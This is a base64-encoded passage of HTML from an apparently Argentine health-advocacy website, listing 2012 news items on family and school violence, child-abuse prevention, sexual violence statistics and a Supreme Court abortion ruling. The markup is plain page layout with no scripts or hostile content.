CAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9I